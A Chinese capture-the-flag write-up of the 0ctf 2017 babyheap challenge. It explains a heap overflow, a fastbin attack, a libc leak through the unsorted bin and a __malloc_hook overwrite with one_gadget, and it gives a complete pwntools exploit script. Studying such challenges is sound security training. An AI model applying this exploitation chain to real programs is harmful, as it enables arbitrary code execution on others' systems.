这个题一开始 不知道是怎么回事
然后这个程序开了 保护全开基址随机化这就要我们自己把libc的基址给泄露出来
泄露的方法我知道的是把堆 free到 unsortbin的fd和bk指向自身main_arena然后可以根据 main_arena 的偏移 搞出libc 库
道理都懂 但是怎么做 就不好说了现在这里就有一道题
文章图片
典型的菜单题然后 看一下大概内容 有没有什么漏洞点
文章图片
calloc 这个函数有两个参数 一个是 大小 一个是 长度二者相乘 就是要申请的大小
然后calloc 这个函数还会把我们申请的地方自动清空 这里好像没有什么问题 我们去看其它函数的作用
文章图片
这里 有一个 溢出点 就是他输入的要修改的堆块大小 是我们自己修改的大小 那么我们可以无限修改了
文章图片
这里好像也没有什么溢出点
文章图片
好吧 现在就知道了一个溢出点但是怎么利用呢如果我们能够泄露出 libc库 那么就很好利用这个程序了
问题就在于 怎么泄露 一开始没有想到什么好的方法然后参考了这个链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack/#2017-0ctf-babyheap
然后发现这个这个思路真的好用修改fd指针 让 heap[2]的指针指向 heap[4]的指针 然后泄露就可以了
这里由于堆块申请对齐 所以index[4]的堆块起始地址必定是 0x80
那么我们就可以payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
然后edit(0,len(payload),payload)那么 fd 也就指向了 堆块4
文章图片
【栈溢出|0ctf babyheap】
文章图片
可以看到已经指向了第四个堆块那么那我再修改第三个 让 堆块四的大小是0x21然后再add两个堆块 0x10
然后heap[2] 就指向了4号堆块那么 我们就胜利了 一半我们接下来是 想办法让4号堆块 进入unsort bin
引用wiki 的原话 就是 所以该 chunk 不能使 fastbin chunk,也不能和 top chunk 相邻。因为前者会被添加到 fastbin 中,后者在不是 fastbin 的情况下,会被合并到 top chunk 中
然后我们修改3 让 他的大小是0x91然后 再在后面申请一个 chunk然后然后free了 4然后 再打印2号的内容就可以get到了
main_arena
然后就是hook malloc函数找 one_gadget_addr 就只能根据库去找
然后其他就没有什么了
下面是根据wiki写的脚本
from pwn import *context.log_level = "debug"
io=process("./babyheap")
elf=ELF("./babyheap")def add(size):
io.recvuntil('Command: ')
io.sendline("1")
io.recvuntil("Size: ")
io.sendline(str(size))def edit(index,size,content):
io.recvuntil('Command: ')
io.sendline("2")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.sendline(content)def dele(index):
io.recvuntil('Command: ')
io.sendline("3")
io.recvuntil("Index: ")
io.sendline(str(index))def show(index):
io.recvuntil('Command: ')
io.sendline("4")
io.recvuntil("Index: ")
io.sendline(str(index))if __name__ =="__main__":
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x80)
dele(2)
dele(1)
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
edit(0,len(payload),payload)
payload = 0x10 * 'a'+ p64(0) + p64(0x21)
edit(3,len(payload),payload)
add(0x10)
add(0x10)
payload= 0x10 * 'a'+p64(0)+p64(0x91)
edit(3,len(payload),payload)
add(0x80)
dele(4)
show(2)
io.recvuntil('Content: \n')
unsort_addr=u64(io.recv(8))
main_arena =unsort_addr-88
libcbase_addr =main_arena -0x3C4B20
add(0x60)
dele(4)
fake_chunk_addr=main_arena-0x33
payload=p64(fake_chunk_addr)
edit(2,len(payload),payload)
add(0x60)
add(0x60)
one_gadget_addr = libcbase_addr + 0x4526a
payload = 0x13 * 'a' + p64(one_gadget_addr)
edit(6,len(payload),payload)
add(0x90)
#gdb.attach(io)
io.interactive()
io.close()
推荐阅读
- pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
- 堆溢出|House of force —— gyctf_2020_force
- 栈溢出|非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me
- 堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap